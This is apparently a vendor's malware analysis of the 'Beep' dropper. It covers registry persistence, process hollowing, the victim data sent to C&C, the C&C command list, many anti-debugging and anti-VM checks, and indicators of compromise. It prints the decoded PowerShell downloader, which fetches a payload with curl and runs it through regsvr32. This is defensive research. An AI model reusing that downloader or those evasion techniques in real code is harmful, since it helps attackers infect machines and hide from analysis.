Last week we discovered several new samples that were similar to each other and uploaded to VirusTotal (VT) in a form of .dll, .gif or .jpg files. They all were tagged as ‘spreader’ and ‘detect-debug-environment’ by VT and caught our attention because they appeared to drop files, but those files could not be retrieved from VT.  


Figure 1 – VT – Uploaded samples 


Once we dug into this sample, we observed the use of a significant amount of evasion techniques. It seemed as if the authors of this malware were trying to implement as many anti-debugging and anti-VM (anti-sandbox) techniques as they could find. One such technique involved delaying execution through the use of the Beep API function, hence the malware’s name. 


After performing anti-debugging and anti-vm checks, the malware dropper (big.dll) creates “\Sessions\2\BaseNamedObjects\{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6}” mutex. It then creates a new registry key ‘HKCU\SOFTWARE\nonresistantOutlivesDictatorial’ and sets a new value named ‘AphroniaHaimavati’. The newly created value contains base64 data which decrypts to: 


“$nonresistantOutlivesDictatorial = “$env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll”;md $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial;Start-Process (Get-Command curl.exe).Source -NoNewWindow -ArgumentList ‘–url -X POST –insecure –output ‘, $nonresistantOutlivesDictatorial;Start-Sleep -Seconds 40;$ungiantDwarfest = Get-Content $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll | %{[Convert]::FromBase64String($_)};Set-Content $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll -Value $ungiantDwarfest -Encoding Byte;regsvr32 /s $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll;” 

This is a PowerShell script that saves data to AphroniaHaimavati.dll using curl.exe, and then executes it with regsvr32.exe. 

Big.dll creates a scheduled task named after the mutex created earlier. This task runs every 13 minutes and executes the PowerShell scripts stored in the registry: 


Figure 2 – Scheduled task 



The purpose of the newly downloaded and executed AphroniaHaimavati.dll is to re-verify that it is not being debugged or running in a virtual environment by using additional anti-debugging and anti-vm techniques. The dropper injects its malicious payload into a legitimate WWAHost.exe (a Windows Wrap-Around Metro App Host) windows process using the Process Hollowing injection technique. The malware sets explorer.exe as the parent of WWAHost.exe by adding the parent attribute to the process. Futher details of this technique can be found here. 

Injected Payload 

Not surprisingly, this stage implements several evasion techniques, including the same ones used previously by the dropper. After all evasions are completed, the malware creates the mutex ‘\Sessions\2\BaseNamedObjects\{99C10657-633C-4165-9D0A-082238CB9FE0}’. Next, it collects the victim’s information to be sent to the C&C server in JSON format: 


“{“uuid”: “uuid“, 

 “stream”: “bb_d2@T@dd48940b389148069ffc1db3f2f38c0e”, 

 “os_version”: “victims_os_version including build number“, 

 “product_number”: 48, 

 “username”: “username retrieved by using GetUserNameW API function“, 

 “pc_name”: “computer name retrieved by using GetComputerNameW API function“,  

“cpu_name”: “cpu_name“, 

 “arch”: “system architecture (x64/x86)“,  

“pc_uptime”: 38209906 

“gpu_name”: “gpu name retrieved by EnumDisplayDevicesW API function“, 

 “ram_amount”: “ram amount retrieved by using GlobalMemoryStatusEx API function”, 

 “screen_resolution”: “screen resolution“, 

 “version”: “0.1.7”, – possibly the malwares version 

“av_software”: “unknown“, 

 “domain_name”: “”, 

 “domain_controller_name”: “unknown“, 

 “domain_controller_address”: “unknown“}” 


While the data collected would lead us to think that the malware checks which AV software is running on the victim’s machine, we did not find any AV check implementations in the code. 


Figure 3 – Json with collect data.


The malware adds to the collected data “user_id=Him3xrn9e&team_id=JqLtxw1h” and then encrypts the entire string before sending it to the C&C server. However, by the time of our analysis, the C&C was already down and sending requests to it failed. Despite this, the malware continued to collect more data, even after 120 failed attempts to send the data. In the sample analyzed, the malware used CreateToolhelp32Snapshot, Process32FirstW and Process32NextW API functions to enumerate processes and collect their names and PIDs: 


Figure 4 – Partial process list collected by the malware. 


The process list was attempted to be sent to the other C&C URL (hxxps[:]// 

Even though we could not continue to analyze the attack flow because the C&C went down, we were still able to identify several commands that we assume the malware can accept from C&C server: 

  • balancer – not implemented yet. 
  • init – not implemented yet. 
  • screenshoot – appears to collect the process list. 
  • task – not implemented yet. 
  • destroy – not implemented yet. 
  • shellcode – executes additional shellcode. 
  • dll – executes a dll file. 
  • exe – executes a .exe file. 
  • Additional – collects additional info. 
  • knock_timeout – changes C&C “keep-alive” intervals. 

It’s worth noting that the injected code also has Process Hollowing capability. We assume that both, .exe and .dll files may be injected into another legitimate process. 



Evasion Techniques 

The Beep malware implements several evasion techniques, which it uses numerous times throughout execution. These techniques include: 

  • Dynamic string deobfuscation – a technique widely used by threat actors to prevent important strings from being easily recovered. Mostly used for hiding imports, Beep copies hardcoded obfuscated hex bytes into the memory and then deobfuscates them with xor/sub/add/not assembly instructions.

Figure 5 – String Deobfuscation using add instruction. 


  • Default Language check – A technique mostly used by authors from the former Soviet Union countries to evade infecting unwanted systems. Beep uses the GetUserDefaultLangID API function to retrieve the language identifier and check if it represents the following languages:
    419 – Russian
    422 – Ukrainian 
    423 – Belarusian 
    428 – Tajik 
    424 – Slovenian
    f. 437 – Georgian 
    43F – Kazakh 
    843 – Uzbek (Cyrillic)


  • Assembly implementation of the IsDebuggerPresent API function – This determines whether the current process is being debugged by a user-mode debugger by checking the BeingDebugged flag of the Process Environment Block (PEB). 
  • NtGlobalFlag field anti-debugging – determines if the process was created by the debugger. More information can be found here.


Figure 6 – NtGlobalFlag anti-debugging implementation 


  • RDTSC instruction – this instruction is used to determine how many CPU ticks have taken place since the processor was reset. This can also be used as an anti-debugging technique. The most common way to use this is to get the current timestamp using the instruction, save it in a register, then get another timestamp and check if the delta between the two is below the number of ticks that were pre-defined by the author.

Figure 7 – RDTSC instructions anti-debugging 


  • Stack Segment Register – This is used to detect if the program is being traced. After single-stepping in a debugger through the ‘push ss  pop ss  pushf’ instructions, the Trap Flag will be set.


Figure 8 – Stack Segment Register anti-debugging. 


  • CPUID anti-vm – The malware uses the cpuid instruction with EAX=40000000 as input The return value will be the Hypervisor Brand string, and then it checks if it contains a part of the word ‘VMware’. 


Figure 9 – CPUID check 


  • VBOX registry key anti-vm – The malware uses RegOpenKeyExW API function to check if the HKLM\HARDWARE\ACPI\DSDT\VBOX__ registry key exists.  
  • Beep API function anti-sandbox – Malware usually uses the Sleep API function to delay execution and avoid detection by sandboxes. In this  case , the malware uses the Beep Windows API function. Accordign to MSDN: “Generates simple tones on the speaker. The function is synchronous; it performs an alertable wait and does not return control to its caller until the sound finishes”. This function will suspend the execution of the malware, achieving the same effect as the Sleep API function. 

The injector (AphroniaHaimavati.dll) implements additional less widely used evasion techniques: 

  • INT 3 anti-debugging – The INT 3 assembly instruction is an interruption used as a software breakpoint. Without a debugger present, after reaching the INT3 instruction, the exception EXCEPTION_BREAKPOINT (0x80000003) is generated, and an exception handler is called. If a debugger is present, the control is wi not given to the exception handler.  


Figure 10 – INT 3 assembly instruction 


  • INT 2D anti-debugging Similar to the INT 3 technique above, but in the case of INT 2D, the exception address is set to the EIP register and then the EIP register value is incremented. Some debuggers might have problems because after the EIP is incremented, the byte following the INT2D instruction will be skipped, potentially continuing execution from the damaged instruction. 


Figure 11 – INT 2D assembly instruction 


  • CheckRemoteDebuggerPresent() API anti-debugging – This determines if a debugger is attached to the current process. 
  • IsDebuggerPresent() API anti-debuggingThis determines whether the current process is being debugged by a user-mode debugger. 
  • ProcessDebugPort anti-debugging – determines the port number of the debugger for the process using the NtQueryInformationProcess(). 
  • VirtualAlloc() / GetWriteWatch() anti-debugging – A rarely used anti-debugging technique that causes the system to keep track of the pages that are written to  the committed memory region. This can be abused to detect debuggers and hooks that modify memory outside the expected pattern. More on this technique can be found here. 
  • OutputDebugString() anti-debugging This function is used to detect a debugger. The technique is simple: one can call OutputDebugString to pass a string to the debugger. If a debugger is attached, then when  the user code is returned, the value in EAX will be a valid address inside the process’s address space. 
  • QueryPerformanceCounter() and GetTickCount64() anti-debugging – When a process is being traced in a debugger, there is a noticeable delay between instructions and execution. The “native” delay between certain parts of code can be measured and compared with the actual delay.  



The new Beep malware’s efforts to evade detection set it apart from other malware. The sheer number of evasive techniques it implements to avoid sandboxes, VMs, and other debugging techniques is not often seen. Once this malware successfully penetrates a system, it can easily download and spread a wide range of additional malicious tools, including ransomware, making it extremely dangerous. 


Minerva Prevention 

Minerva Armor’s Anti Ransomware solution easily prevents this malware in its early stages. In fact, Minerva Armor works best against malware when it tries to implement evasive techniques to remain undetected. The more evasive the malware, the easier it is for Minerva to stop it. 


Figure 12 – Prevention 




  • ab5dc89a301b5296b29da8dc088b68d72d8b414767faf15bc45f4969c6e0874e – big.dll 
  • 59F42ECDE152F78731E54EA27E761BBA748C9309A6AD1C2FD17F0E8B90F8AED1 – AphroniaHaimavati.dll 




  • \Sessions\2\BaseNamedObjects\{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6} 
  • \Sessions\2\BaseNamedObjects\{99C10657-633C-4165-9D0A-082238CB9FE0}